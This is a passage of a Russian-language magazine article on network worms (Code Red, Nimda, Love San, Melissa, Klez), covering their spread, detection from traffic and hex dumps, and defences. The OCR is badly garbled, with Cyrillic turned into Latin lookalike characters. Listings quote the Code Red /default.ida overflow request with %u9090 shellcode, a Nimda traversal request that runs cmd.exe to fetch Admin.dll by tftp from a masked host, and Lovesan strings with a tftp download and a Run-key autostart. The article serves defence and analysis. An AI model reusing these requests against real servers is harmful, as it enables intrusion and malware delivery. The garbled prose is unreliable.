paHeHus Bupyca Code Red, B nuke CBOEN anuaemuu 3apa-
3uBLuero cebie 359 000 y3noB B TeyeHun 24 yacos. Kak
ObIIM NOMYYEHbl 3TW UMpbI? MNporpamma-MoHUTOp, ycTa-
HOBNEHHas B nokanbHon cetu Jlabopatopun bepknu, nepe-
XBaTblBana BCe NpoxoasLume yepes Hee IP-nakeTbl v aHanw-
3upoBasa ux 3aronoBku. MakeTbl, agpecoBaHHbIe HECYLLE-
CTBYIOLLMM y3nam 1 Hanpasnsowwmecs Ha 80-1 nopT, 6binu,
04eBWAHO, OTNpaBeHbl 3apaxeHHbiM y3riom (Code Red pac-
npocTpaHsancs Yepes yas3sumoctb B MS [1S-cepsepe). MNoga-
CYET YHUKanbHbIX IP-agpecoB y3noB-oTnpaBuTenei No3eo-
NN HAAEXHO YCTAHOBUTb HUKHIOK rpaHvuUy YMCNEHHOCTM
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nonynsuum supyca. Mpu XenaHuu npouecc pacnonsaHus
BUpYyCa MO BCEMUPHOWM CETU MOXHO YBUAETb U B OUHAMMW-
ke —www.caida.org/analysis/security/code-red/newframes-
small-log.mov. Tam xe, Ha cTpanuue http://www.caida.org/
analysis/security/code-red/coderedv2_analysis.xml, cogep-
XUTCS TEKCT, KOMMEHTUPYIOLLIMIA NPOUCXOASLLEE 3penuLLe.
A 3penuiie v BNpsMb MOMYYUIIOCH BNeYaTRaowWwmM 1. .. no-
yuutenbHbiM. BeceM, ocobeHHO pas3paboTynmkaMm BUPYCOB,
HaCTOATENbHO PEKOMEHAYI0 NOCMOTPETh. BbiTb MOXET 3T0
Hay4uT KOE-KOro He POHATb CeTb CBOUM OYEPEefHbIM...
MMM... TBOPEHUEM.
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PucyHok 3. BaBMCHMMOCTE YHeNbHON CKOPOCTM PaCHpOCTPaHEHMUs
uepBsl OT BpeMeHyu. CHavajlla UepBb PaSMHOXAJICA KpauHe Mejf-
JIEHHO, MOXHO flaxe ckasaTh JIeHMBO. BmpoueM, Ha NopaxeHue
KJIOYeBHX HEPBHHX LEHTPOB CeTM Yy BMPYyCa YIJIO BCEro He-
CKOJIbKO YacCoOB, MO MCTeYeHMM KOTOPHX OH yCNesl OKKyNMpOBaThb
npaKTHMYeCKM BCe pasBMTHE CTpaHH Mupa. Harpyska Ha ceThb
CTPEeMUTENBHO poClla, ORHAKO MPOBaiZepH C 3TUM elle CNpaBis-
nuck. lpubnmsurenbHo uepes 12 uacoB, Korja YepBb BCTYNMI
BO BBPHBHYKW CTafui0 CBOEr'o PaSMHOXEHMsI, O6BeM nepekauMBa-
eMoro Tpadmka ckaukoo6paBHO BOBPOC B THCHAUM pas, ¥ Gonb-
WMHCTBO CEeTeBHX PECYPCOB OKaZajloCh HEJOCTYNHO, YTO BaTop-
MOBMJIO pacnpoCTpaHeHMe uepBs, HO OHJIO yXe NOBAHO, T.K.
NBBMHAS YacCTh YSI3BMMHX CEpPBEPOB K TOMy BPEeMeHM oOKaBanachk
nopaxeHa. JCrempeHHE XapakTep Cnaja KpMBOM OTpaxaeT mne-
pUOAMYECKOEe NOJleraHMe PaBIMYHHX CETMEHTOB CeTM JHTepHer,
sarubanmmMxcss OT UYMOBMILHOM HArpysKM, M MX MyXeCTBEHHOe
BOCCTaHOBJIEHME CaMOOTBEPXEHHHMM afMMHMCTpaTopamu. Bm ay-
MaeTe, OHM YyCTaHaBAMBamM Bamnarku? A BoT M Her! Yepes
yeTHpe Yaca, KOTJa BMPYC OKOHYMI CBOE PacHnpocTpaHeHMe u
nepemes K MacCHMpOBaHHOM aTake, Ha KpMBOJ HaGiaoAaeTcss He-
GHBaNH BCMJIECK, O CPaBHEHMI0 C KOTODPHIM NPEAHAYULMA MUK He
TSHET fJaxe Ha xankuit xommmx. 12 000 mckaxaemmx BeG-cTpa-
HMI, B2 MMHYTy - 3TO JM He pesynbrar?!

83



6esonacHocTb

Kak o6napyxutb uepss
— 370 3HaK YepBs?
— Yepsb. V1 6onbLuon.
®peHk XepbepT, «[JioHa»
PaMOTHO CKOHCTPYMPOBAHHbIN U HE CAINLLKOM MPOXOPJIMBBIA
NporpaMMHbIN KoL 06HAPYXWTb He Tak-To npocTto! EcTb pag
XapaKTepHbIX NMPU3HAKOB YepBs, HO BCE OHWU HEHaOEeXHbl, U
rapaHTMpOBaHHbIA OTBET AAaeT NULLb AM3accembMpoBaHue.
Ho 4T0 MMeHHO HyXHO au3accembnuposaTb? B cnyyae ¢ han-
NOBbLIMK BUpYycamu Bce 6onee nnu mexee AcHo. MNMoacosbiea-
€M cucTeMe cneumanbHbIM 06pa3oM NOAroTOBMEHHbIE «ApO-
30hWnbl» U CMOTPUM, HE OKQXETCA NN Kakas-To U3 HUX W3-
MeHeHa. XopoLUunii pe3ynbTaT JaeT v NPoBepPKa LieIOCTHOCTH
CUCTEMHbIX (DalnoB Mo 3apaHee cHoOpMUPOBAHHOMY 3Taso-
Hy. B onepaumnoHHbIx cuctemax cemenctaa Windows Ha aToT
crnyyav npunaceHa ytunuta sfc.exe, xoTs, KOHe4Ho, cneyma-
NN3MPOBAHHBIA OUCKOBbLIN PEBM30P CNpPaBUTCA C 3TON 3apa-

Yyer HaMHOro NyyLue.

Yepeu xe MOryT BoobLLe He JoTparmeatbecs Ao haino-
BOW CUCTEMbI, ocefas B OnepaTUBHOM NamsaTh agpecHoro
MpoCTpaHCcTBa ya3BUMOro npouecca. PacnosHats 3noepes-
HbIA KOG MO BHELLUHEeMY BUOY HepeanbHo, a NpoaHanma3npo-
BaTb BECb C/IEMOK NaAMATU LIENIMKOM — 4pe3BblHaitHO Tpyao-
EMKUA 1 3aTPyOHUTENbHBIV NpoLecc, TeM 6051ee YTO ABHbIX
KOMaHf nepegayv ynpasneHus MaMHHOMY Koy YepBsa MO-
XET W He 6bITb (nopgpobHee cM. pasgen «CTpykTypHas aHa-
TOMUS YepBs»).

OpHako roe Bbl BUAENM BEXIMBOMO U BO BCEX OTHOLLEHM-
X KOPPEKTHOr0 4epBa? HuyyTb He cobupasch oTpuLaTh TOT
(hakT, 4TO Cpeam HepBei NONaaarTCa U BbICOKOUHTENNEKTY-
anbHble pa3paboTKu, CO3AaHHbIE TaNaHTAMBLIMM 1, 6eccrop-
HO, NpodeccnoHanbHbIMM NPOrpaMmMmncTaMu, aBTop 3TOM cTa-
TbW BbIHYXX[EH NPU3HAaTb, YTO BCE YEPBU, BbINTOBNEHHBIE B XU-
BOW NpMpofe, COQepXanu Te UK UHblE KOHCTPYKTUBHbIE Or-
pexu, AeMackupytoLLe NpUcyTCTBME YEro-TO NOCTOPOHHErO.

BepHbIn Npu3HaK YepBa — GOMbLLIOE KONMMYECTBO UCXOas-
wux TCP/IP-nakeToB, pacnon3atoLimxcs No BCcet CeTn u B
60MbLUMHCTBE CBOEM aApEeCOBaHHbIX HECYLLECTBYIOLLMM MO-
nyyatensm. Paccbinka nakeToB NPOUCXO4uT NGO NOCTOSH-
HO, NIM60 COoBEpLUAETCA Yepes 6onee UNn MeHee perynapHble
W NPV TOM O4EHb KOPOTKME NPOMEXYTKM BPEMEHW, HANPUMED,
yepes 3 — 5 cek. [pnyem coegnHeHne ycTaHaBnuBaeTcs 6e3
MCNonb30BaHMA LOMEHHOrO UMEHM, HENOCPeaCTBEHHO No IP-
agpecy (BHMMaHue: He BCe aHanmsatopbl Tpaduka crnocood-
Hbl pacno3HaTb 3TOT (PakT, MOCKOSbKY Ha YPOBHE (PYHKLMK
connect coeguHeHVe BCeraa ycTaHaBnmMBaeTcst UMEHHo Mo IP-
agpecam, Bo3spallaeMbiM doyHKUmen gethostbyname no umx
OOMeHHOMY MMeHW). MpaBAaa, Kak yxe 0TMe4vanoch, YepBb
MOXET CKaHMpoBaTb NIoKanbHbIe haisibl XXepTBbl HA NpeaMeT
novcka NoaxomsLmMx AOMEHHbIX UMEH. TO MOXET ObiTb U
afpecHast KHMra no4ToBOro KinMeHTa, v CNnMcoK JOBEPEHHbIX
y3noB, 1 npocto apxms HTML-0OKYMEHTOB (CTpaHU4Ku €O
ccblfikamMu Ha gpyrue cantbl ans HTTP-4epBen B BbiCLUEN
CTeneHu akTyanbHbl). Hy, dhakT ckaHupoBaHus hainos pac-
No3HaTb HETPYAHO. [JOCTaTO4HO NOMECTUTL HAXMBKY — (haiit-
Nbl, KOTOPbIE NPX HOPMasbHLIX 06CTOATENLCTBAX HUKOFAA W
HUKEM He OTKPbIBAIOTCA (B T. Y. M @HTUBUPYCHBLIMU fEMOHAMMU
YCTaHOBNEHHLIMWU B CUCTEME), HO C HEHYNIEBON BEPOATHOC-
Tblo 6YyAYT 3ameyeHbl ¥ NpornoyeHsl YepseM. [ocTaToyHo
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[OCTYNa K HAM.

[pyroii BepHbIN Npu3HaK HYepBsi — HeHopMasbHas ceTeBas
aKTMBHOCTbL. [MofaBnsioLlee 60/bLUMHCTBO N3BECTHbIX Ha Ce-
FOAHSILLUHWIA OeHb YEPBEN Pa3MHOXAOTCS C HEMPUMNYHO Bbl-
COKOW CKOPOCTbI0, BbI3bIBAIOLLIEN XapaKTepHbIA B3MET UCXO-
pawero Tpadgmka. Takke MOryT NOSBUTLCS HOBbIE MOPThI,
KOTOpbIE Bbl HE OTKPbIBANM M KOTOPbIE HEMOHATHO KTO NpO-
cnywvsaet. Bnpoyem, npocnywmeaTb NOPT MOXHO U 63 ero
OTKPbLITUS — JOCTATOYHO JIMLLIb BHEAPUTLCSA B HU3KOYPOBHE-
BbIi CETEBOW cepBuC. M03TOMY K NoKa3aHUsM aHann3aTopoB
Tpaduka cnepyet OTHOCUTLCA CO 3[OPOBON OONEN CKENTU-
LM3Ma, eCNK, KOHEYHO, OHU He 3anyLLUEeHbI Ha OTAESTbHON Ma-
LUIMHE, KOTOPYIO HYEPBb rapaHTUPOBAHHO HE CMOXET aTakoBarb.

TpeTbMM NPU3HAKOM CRyXaT NakeTbl C NMOJO3PUTESNbHBIM
cogepXuMbIM. [Mop, «<nakeToM» 30eCb NOHMMALOTCS He TOJbKO
TCP/IP-nakeTbl, HO U COOBLLIEHNSI 3NIEKTPOHHON NOYTbI, COAEp-
Xallye OTKPOBEHHO «NIEBbIN» TEKCT (BMPOYEM, YepBb MOXET
MacKMpoBaTbCs U Mof cnam, a TLaTeslbHO UCCNeaoBaTh Kax-
[0e cnamMMepCcKoe MUCbMO He XBaTWUT HU HEPBOB, HW BpeMe-
HW). Bot TCP-nakeTbl B 3TOM CMbicrie HamHoro 6onee npeg-
MoYTUTENbHEE, MOCKONbKY WX aHanm3 yoaeTcs aBToMaTU3npo-
BaTb. YTO cnepyeT nckatb? YHuBepcasbHbIX PELLEHWI He Cy-
LLIeCTBYET, HO KOE-Kakne HaMeTKu AaTb BCe-TakuM MOXHO. B
4aCTHOCTU, NPUMEHUTENBHO K Be6-CepBeEpam 1 3anpocam Tuna
GET xapakTepHbIM npuaHakoM shell-koga sBnstoTcs:

a) MMeHa KOMaHaHbIX HTeprpeTaTopoB (cmd.exe, sh), cnucTem-
HbIX 61bnMoTeK TMna admin.dll n NOAO6HbLIX MM hannos;

6) nocnegoBaTeNbHOCTb U3 TPEX M 60Mee MaLLMHHBIX KOMaHL,
NOP, 3anucbiBaemas npubnmManTenbHo Tak: %u9090;

B) MalUmHHble komaHabl CALL ESP, JMP ESP, INT 80hwu gpy-
rme nopobHble UM (MOMHBIN CMUCOK 3aHMMAET CRNLLKOM
MHOrO MecTa M NOSTOMY 3[€eCb HE NPUBOANTCS);

r) 6eccMbiCneHHble nocnepoBatensHocT Bpoae \.\.\ unu
XXX, ncnonb3yemble BUPYCOM A1 NEPEnOSIHEHUS.

OpHako He MblTaUTECh HaNPsSMYO OM3acceMbMpoBaTh
OBOWYHbIN KOfl, CoAepXalluicst B NakeTe, BbIMMAAEBLUEM Kak
nakeT, NpeaHa3HavYeHHbIN AN1st CpbiBa CTeKa U Noapbia aBTo-
puTeTa cucTeMmbl. MOCKONbKY 3apaHee HEM3BECTHO, HA Kakow
MMeHHO 6anT shell-koga nepegaeTcs ynpasfieHue, TOUKY BXO-
[ia ONpefenuTb He Tak-To NPOCTO, U BOBCE He (hakT, YTO eto
OKaXKeTCsi NepBbI 6aNT NakTa unu 4BOMYHOro koga. M He Bo3-
naraTte Ha aBTOPWU3NPOBAHHbIA MOWUCK GONbLUME HAaaEXmdbl —
OH cpabaTblBaeT fJaneko He Bcerga. [JoctaTouHO cnerka 3a-
lwundposatb shell-koa, » Bce NpU3Hakn 4epBs HEMEAJSIEHHO
ncHe3HyT. Bnipoyem, MOCKOMbKY pa3mep NepenonHiemoro 6y-
thepa 3a4acTyio O4eHb U 04eHb MaJl, BTUCHYTb B OTBEAEHHbIN
06bEeM rosioBbl BUpYCa eLle U LUMPOBLUMK HE TaK-TO NPOCTO.

Bo BCsIKOM criyqae Tpovika KpynHemwmx Yepseii nerko o6-
Hapy>X1BaeTCs aBTOMaTM31poBaHHbIM aHanmaom: 1 Code Red,
n Nimda, u Slammer...

Jimctunr 4. TomoBa uepBa Code Red, npumxogsmass B nepsom TCP-
nakere

GET /default. ida?

XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX XXX XXX XXXXXX
XXXXXXXXXXXXXXXX XXX XXX XXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX XXX XXX XXXXXX

CHCTEMHEIAAMUHUCTPATOD



XXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXX

$u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858 I
%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00
$u531b%u53££%u0078%u0000%u00= a HTTP 1.0

Content- type: text/ xml,

Content- length: 3379

Jucturr 5. TomoBa uepBs Nimda

GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/
c+tf£p%20-1%20XXX . XXX . XXX . XXX%$20GET%$20Admin . d11%20c: \Admin.d11l

Ecnu yepBb copepxut B cebe HesalMgpoBaHHbIE TEK-
CTOBbIE CTPOKM (& MHOMME U3 YepBeit YCTPOEHbI UMEHHO Tak!),
TO 3/106HbIV XapaKTep ero HaTypbl Pacrno3HaEeTCs YXxe npu
6ernom npocmoTpe HEX-koga uccnegyemoro tanna:

00005FA0: 20 2F 73 74 73 2F 2E 2E 25
00005FBO: 31 63 2E
00005FCO:
00005FDO:

GET /scripts/..%
cl%lc../winnt/sy
stem32/cmd. exe?/
c+copy%20c: \winn
t\system32\cmd.e
xe%20c: \Mworm.ex
e HTTP/1.0)@)@

6E 6E 74 2F 73 79
2E 65 78 65 3F 2F
3A 5C 77 69 6E 6E
00005FEOQ: 79 73 74 5C 63 6D 64 2E 65
00005FF0: 32 30 63 6F 72 6D 2E 65 78
00006000 54 54 50 0D OA 0D OA 00 00

6D 33 32
6F 70 79

JiucTuHr 6. $parMeHT BMpyca MWORM

HekoTopble YepBu B Liensx YMeHbLUEeHNA CBOUX pa3mepoB
N He B NOCJieAH o4epedb MaCKMPOBKKU, CXUMAKOTCA TEM
TN NHBbIM YNaKOBLLMKOM UCMONHAEMbIX NporpamMm, 1 nepeqn
aHanM3oM 1x Heob6XoAMMO pacnakoBaTb.

000021EC: 64 6F 77 64 61 74
000021FC: 0A 00 72 74 20 m %s@ start %s®
0000220C: 20 2p 73 20 47 tftp -i %s GET %
0000221C: 64 2E 2E 25 64 2E s@ %d.%d.%d.%d %
0000222C: 2E 25 25 69 00 72 i.%1.%1i.%i rb M
0000223C: 25 73 49 4C 4C 59 d . %s BILLY win
6F 20 75 70 dows auto update
45 5C 4D 69 SOFTWARE \Micros
6F 77 73 5C oft\Windows\Curr
6F 6E 5C 52 entVersion\Run

windowsupdate.co

0000224C: 77 20 61
0000225C: 54 57
0000226C: 74 5C 57 69

0000227C: 74 56 65 72

JmcTurr 7. $parMeHT Bupyca Love San mocie pacnakoBKM

Nwmte B pamne nofo3puTesbHbIE COO6LLEHUS, KOMaHAbI
pasnuyHbIX NpuKnagHbix npotokonos (GET, HELO u 1. o.),
MMeHa CUCTEMHbIX BMONIMOTEK, (halNoB-UHTEPNPETATOPOB,
KOMaH[bl OrMepaLunoHHON CUCTEMbI, CUMBONLI KOHBelepa,
LOMEHHbIE MMEHa CaTOB, 06paLLEHME K KOTOPbIM Bbl He MJa-
HMPOBaNM U B YbMX yCnyrax Cyas No BCEMY He HyXOaeTech,
IP-agpeca, BeTBU peecTpa, OTBETCTBEHHbIE 32 aBTOMATUYEC-
KWiA 3anyck nporpammM 1 T. .

Mpy Noucke ronosbl YepBs UCMONb3YiATEe TOT PakT, YTo
shell-kog, akcnnouta, Kak nNpasumo, pasmeLLaeTcs B CEKLum
JaHHbIX N COQEPXUT NIErko y3HaBaeMblid MalUMHHbIA kof. B
yacTHocTH, komaHaa CDh 80h (INT 80h), oTBeTCTBEHHAs 3a
NPAMON BbI30B CUCTEMHbBIX (DYHKLIMIA ONEPALIMOHHBIX CUCTEM
cemeiicTBa Linux, BCTpeyaeTcs NpakTUHeCKu BO BCEX HYEPBSIX,
obuTatoLmx Ha ator OC.

Boob6LLe roesops, NpoaHanManMpoBas OECATOK PasfnyHbIX
YepBel, Bbl HACTONBKO MPOHUKHETECH KOHLIENLMAMM WX YCTPO-
CTBa, 4TO 6€3 Tpyda Pacrno3HaeTe 3HAKOMbIE KOHCTPYKLMM U B
Jpyrux opraHuamax. A 3a04HO YepBeW BCE PaBHO HE U3YHUTb.

Kak no6opotb uepes
— Kak xe Torga cnpaBuTbCs C YepBsammn?
— MHe Hen3BeCTHO opyue, KDOMe aTOMHOI0, B3PbIBYATON CWlb!
KOTOPOro 6birio 6bl JOCTATOYHO 151 YHUHTOXKEHMS] YEPBS LIESTMKOM.
®peHk XepbepT, «[JioHa»
lapaHTMPOBaHHO 3alWNTUTLCA OT YepBeW Henb3s. C gpyroi
CTOPOHbI, YepBKn, Bbi3BaBLUXWE KPYMHbie anuaeMun, Bce 00
€JNHOIro NoABNANUCL 3a0Nro NOCNe BbiXoa 3anyjiaTtok, ata-
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Kysi KOMNbIOTEpPLI, HE OBHOBNAEMbIE B TEHEHME HECKOSbKMX
MecsaueB unu gaxe net! B oTHowweHun cepBepoB, 06CYXK-
BaeMbIX NuLamu, NPeTEHOYIOLWMMM Ha 3BaHNE «afMUHUCT-
patopa», 3T0, 6eCCnopHo, cnpaBeaMBas pacnnara 3a He-
6peXHOCTb U 6€30yMHOCTb. HO ¢ AOMALLHMMK KOMMbIOTE-
pamMu He BCe Tak NpocTo. Y cpefHecTaTMCTUHECKOro NoMb30-
BaTena MK HeT HW 3HaHWWA, HW HaBbIKOB, HU BPEMEHM, HU
LEHer Ha perynspHoe BblKa4iMBaHWe W3 CETW COTEH Mera-
6anT Service Pack n 3a4acTyto yctaHaBnMBaloLWMMCSA TONb-
KO Nnocne Cepum mMarnyeckux 3akimHaHWi 1 TaHueB ¢ 6y6-
HOM. HekBannguumpoBaHHble NOIb30BaTENN B CBOEN Mac-
CE HUKOrga He ycTaHaBnMBany OGHOBMIEHWS W HUKOrga He
6ynyT ycTaHaBnNMBaTh.

BaxHO NOHATL, YTO aHTMBMPYChI BOOBLLIE HE MOTYT cripa-
BUTbCA C YepBaMu. B npuHumne. Motomy yTO, Ucuenss Ma-
LLMHY, OHW He yCTpaHsIoT 6peLlb B cucTeme 6e30nacHoCcTy, 1
BMPYC NpMNon3aeT BHOBb M BHOBb. He cTOMT Bo3naraTb 0Co-
6bIX Hagexa 1 Ha 6panamayapsbl. [la, OHU MOryT onepaTUBHO
3aKpbITb YA3BUMbIA MOPT MM OT(UNILTPOBLIBATL CETEBbIE
NaKeTbl C CUrHATYpPOW Bupyca BHYTPW. [pun ycnosuu, 4To Bu-
pyc aTakyeT nopT Toi cnyx6bl, KOTOPas HE O4EHb-TO U HYX-
Ha, 6paHgmayap LeiCTBUTENIbHO AeNCTBYET 6€30TKa3Ho
(ecnu, KOHEYHO, HE MOXET ObITb aTakoBaH cam). Xyxe, ecru
4epBb PACNPOCTPAHAETCA YEPE3 TAKOW LUMPOKO pacnpocTpa-
HEHHBIV cepBuC, Kak, Hanpumep, WEB. 3akpbiBaTb €ro Hefb3s
1 npuxopmTcs Npuberats K aHanudy TCP/IP-Tpadvka Ha npep-
MET Hafin4us B HEM CefiOB TOTO MSIM MHOrO YepPBS, TO CTb
WATU NO NYTW BbIBNEHUS BMOSIHE KOHKPETHbLIX NpefcTaBmTe-
nemn KnbepHeTUYeCKon dayHbl.

XoTsa oTgenbHble (UpMbI M NpeasiaraioT BbICOKONPOU3BO-
OWTENbHbIE annapaTHble CKaHepbl, NOCTPOEHHbIE HA Mporpam-
MUPYEMBIX NOFMHECKMX YCTPOMCTBAX, COKPALLEHHO MMEHYEMBIX
PLD - ot Programmable Logic Devices (www.arl.wustl.edu/
~lockwood/publications/MAPLD_2003_e10_lockwood_p.pdf),
B LIESIOM CMTyauuWsi OCTaeTcs LOBOMbHO yApy4aloLlen, npu-
4EM HV OAVH U3 NPELCTABNEHHbIX HA PbIHKE CKAHEPOB HE Cro-
co6eH pacno3HaBaTth NONMMOPGHbIX YEPBEW, T.K. ANs OCyLLe-
CTBNEHUA 3TOI Oonepauumn B peansHOM BPEMEHM NOTpebyeT-
€Sl BECbMa HEXWITbIE annapaTHble MOLLHOCTH, ¥ CTOMMOCTb MO-
NYYMBLLErOCS arperarta pUCKyeT oKas3aTbCs CONoCTaBUMON C
yObITKAMW, HAHOCMMbIMW CAMUMW YEPBAMM (@ B TOM, YTO Ta-
Kue 4epBm Korga-Hubyab fa NosBATCS, COMHEBATLCS He Npu-
xogutcs). Bnpoyem, nporpaMmHble CKaHepPb! COKpaLLatoT npo-
MYCKHYI0 CMOCOBGHOCTb CUCTEMBI €LLe BOSbLLE. ..

XecTokasi, HO 3aTO KapauHansHas Mepa — 3abnaros-
PeMeHHO co3aaThb CIenoK OnepaunoHHON CUCTEMbI BMEC-
TE CO BCEMM YCTAHOBNEHHLIMW NPUIIOXKEHUAMMN N B OTBET-
CTBEHHbIX Cy4asnx aBTOMaTn4eCKy BOCCTaHaBMBATb OAVH
pas B CYTKM Unu, No KpanHen mepe, oauH pa3 B mecsl. B
4aCTHOCTH, B OMepauunoHHbIX cuctemax cemeiictea NT aTo
MOXHO cieflaTb C MOMOLLbIO LUTATHOW nporpammel backup
W BCTPOEHHOrO MnaHupoBLmKa. MpaBga, ecnu 4epBb No-
paxaet nonb3oBartesibckue anel (Hanpumep, dannbl go-
KYMEHTOB, NUCbMa 3NEKTPOHHOW NOYTHI, CKaYaHHble BE6-
CTPaHWYKM U T. A.), 3TO HUYEM HE MOMOXET. TEOPETUHECKM
hakT NCKaXeHMs Nonb30BaTENLCKNX DANSIOB MOTYT Bblsi-
BUTb PEBM30PbI U CUCTEMBI KOHTPONS BEPCUIA, NpaKTUYeC-
KW Xe OHM C TPYAOM OTNMYaloT U3MEHEHUs, BbI3BaHHbIE
BMPYCOM, OT U3MEHEHWI CLENaHHbIX CaMbiX MOJSib30BaTe-
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nem. Ho He 6ygem 3a6biBaTb 0 BO3MOXHOCTU MOANOXWUTb
BUPYCY APO30(uNYy, LENOCTHOCTb KOTOPOM Mbl U Gydem
BPEMS OT BPEMEHMW KOHTPOSIMPOBATb.

3akno4yeunue

Ha camoM fene, 310 eLle He KOHeL, cTaTby, 1 B criedytoLiem
HOMepe Mbl I'IO,EI,pO6HO paccMoTpuUM MEXaHM3M nepenosHe-
HWA 6y(pepa, TEXHUKY BblABNIEeHUA yA3BUMbIX nporpamm um
HEeKOTOpbIe CrnocoobI 3awuThbl.

Mo oTHoweHuo k Windows NT 3T0 He Tak, U BCSKUI KO,
KOTOPbIA TONBbKO MOXHO NPOYMUTaTh, MO YMOMHaHNIO MOXHO W
UCMOMHUTb.

Koneu 3atuwbsa nepep 6ypei?

WHopmaLMOHHbIE 6IONNETEHN, BbIXOAALLME B NOcledHee
Bpems, BCe 60sbLUE U 60MbLLIE HANMOMUHAIOT 60EBbIE CBOKM
C noJsien cpaxeHus. ToNbKO 3a NepBble TPU roga HOBOrO Thl-
CAYeneTUs NPom3oLLIIo 6osiee AeCAT! PaspyLUMTENbHLIX BU-
PYCHbIX aTak, B O6LLEN CIOXHOCTU NOPa3UBLLMX HECKOSbKO
MUIINIMOHOB KOMMbIOTEPOB. bonee To4Hyo Lmcpy npusectu
3aTPyOHUTENBHO, MOCKOMbKY BCAKOE MHDOPMALMOHHOE areH-
TCTBO CKJIOHHO OLIEHMBaTb pasMax anngemMun no-cBoemy, u
pasnuuuns B OQVH-ABA Mopsifka — BMOJIHE pacrnpocTpaHeHHoe
siBneHune. Ho, Kak 6bl TaM HK 6bIN10, 3aTULLbE, ANUBLLEECS ELLIE
co BpeMeH Moppuca, 3aKOH4MII0Ch, U BUPYCOMNMUCaTEN#, CIioB-
HO MPOCHYBLLMECS NOCIIe [OSIToM CAYKK, TENepb NepeLLsv B
Hactynnexve. [lasavite BCNOMHNM, KaK BCE 3TO HA4YMHAIOCh.

[NepBoi NnacTo4Kon, CTPEMUTESIEHO BbINETEBLLEN U3 THE3-
pa, ctana Melissa, npegcrasnsioLlas co60n 00bIYHbIN MaK-
POBUPYC, PACNPOCTPAHAIOLLMIACA Yepes NMEKTPOHHYIO MOYTY.
Cnoco6HOCTbIO K CaMOCTOATENbHOMY Pa3MHOXEHUIO OHA He
obriagana u ceTeBbiM YepBEM B CTPOrOM CMbICIIE 3TOrO CJI0-
Ba 04YEBWAHO He ABnanacs. [ins nognepxaHus XusHeaesTerb-
HOCTW BMpYyca TpeboBanock Hannyve 60sbLLIOro KonMYyecTsa
HEKBaNMMULMPOBAHHbLIX NONb30BaTENEH, KOTOpbIE: a) UMe-
toT ycTaHoBneHHbIM MS Word; 6) urHopupytoT npegynpexae-
HUS CUCTEMBI O HANUYUK MaKpPOCOB B IOKYMEHTE UIIN Xe 06-
paboTka MakpoCOB MO YMONYaHUIO pa3peLLEHa; B) MOMb3YHOT-
CA appecHon KHuron nmoytoBoro knueHta Outlook Express;
r) BCE NPUXOASLUME BNOXEHNA OTKPbIBAIOT HE rnsgs.

W 3t mons3osartenv Hawmucs! Mo pasnuyHbIM oLeHKam
Melissa yoanock 3apasuTb OT HECKOMBLKUX COTEH ThICAY 10 MOsy-
TOpa MUIMMOHOB MaLLIMH, 3aTPOHYB BCE pa3BuThIe CTPaHb! MUpa.

Benuuyanwas owwmbka MHMOPMaALMOHHBIX areHTCTB U aH-
TUBUPYCHBIX KOMMaHWM COCTOMT B TOM, YTO OHW B MOrOHe 3a
ceHcauuer caenanu n3 Melissa cobbITMe HOMEpP OfIVH, YEM pas-
3a[0punn OrpOMHOE KOJIMHECTBO MPOrpPaMMUCTOB BCEX Mac-
Ten, BpyuMB UM 06paseL; ons nogpaxanus. Kak aTo 06bI14HO 1
CrnyyaeTcs, Ha nepBsbIx Nopax nogpaxarenu fasblue Tynoro
KOMMPOBaHMs He . CeTb HABOQHWAM NONYULLIA BUPYCOB-BIIO-
XEHWA, CKPbIBAIOLLMX CBOE TeJ0 Mof MacKoW TEX WIS UHBIX
¢hopmaToB. Bepxom HarnocTu crano nosiBiieHe BUPYCcoB, pac-
MPOCTPaHSIOLLMXCS Yepes ucrnonHsaemsle dannsl. /1 Begs Ha-
XOOWSIUCh Takue Monb30Baresn, YTo ux 3anyckanu... PasHo-
06pasHble METOAbI MAaCKMPOBKY (BPOLE BHEAPEHUS B UCMON-
HAeMbIN hans rpacpruHeckon MMKTOrpamMmbl) NOSIBUACh 3HA4M-
TesnbHO noaxe. Hawywmeswuin Love Letter, npocnasumsLUmiics
CBOMM POMaHTMYECKUM MPU3HAHWEM B JTI06BM, TEXHUYECKOM

PucyHox 4. Tax MOXeT BHINISTETH annapa'mmﬁ aHanmsaTop Tpad)mca

HOBW3HOW He OT/IMYAsICA U Kak ero Komnseru pacrpocTpaHascs
Yyepes MoYTOBbIE BIIOKEHNUS, B KOTOPLIX HA 3TOT pa3 codepxan-
ca Visual Basic Script. Tpy MunnvoHa 3apaXeHHbIX MallMH —
peKopz, KOTOPbIN He cMor NobuTh faxe cam Love San, — inw-
HWI pa3 CBUOETESILCTBYET O TOM, YTO PSALOBON aMEPUKaHCKUN
MYXVK He KPECTUTCS iaXKe MOCIie TOro, Kak rpoM TPYXKAb! BOa-
PUT 1 OXPUMLLIWA OT CBMCTA PaK C ropbl MMKHETCS.

Bonee nnu meHee KeanMULMPOBAHHbIX NOJb30BaTENEN
(v yx Tem 6onee NpoheccMoHanoB!) CyLLEeCcTBOBaHUE NOYTO-
BbIX YEPBEW COBEPLLEHHO HE BOITHOBASIO M OHW nosiarasu, 4To
HaxoATcs B abCOMOTHOM 6e30MacHOCTU. [lepesioMHbIM MO-
MEHTOM cTano nosenexue Kilez, ncnonbaytoLlero ans ceoe-
ro pacnpocTpaHeHns OLLMOKY peanusaLyv nnasaroLmx dpen-
moB B Internet Explorer. 3apaxeHve NnpovcXoansio B MOMEHT
MpocMoTpa MHAMLMPOBAHHOIO MUCbMA M CETEBOE COO6LLE-
CTBO Heme[JIeHHO 3a6uJ1o TPEBOTY.

OpHako 3a rog, o 9Toro 6bl10 OTMEHEHO MOsBSIEHUE Nep-
BOrO YepBsl, CAMOCTOATENLHO MyTellecTaytoLlero no Cetu
MPOHUKAIOLEro Ha 3apaxaemble cepBepa Yepes Abipy B
Microsoft Internet Information Server n Sun Solaris Admin Suite.
o HekoTOPLIM AaHHLIM, YEPBIO YOAnoch NopasuTb [0 BOCLMU
ThICAY MaLLMH (Ha ABe Tbicsum 6orblue, 4em HYepsb Moppuca).
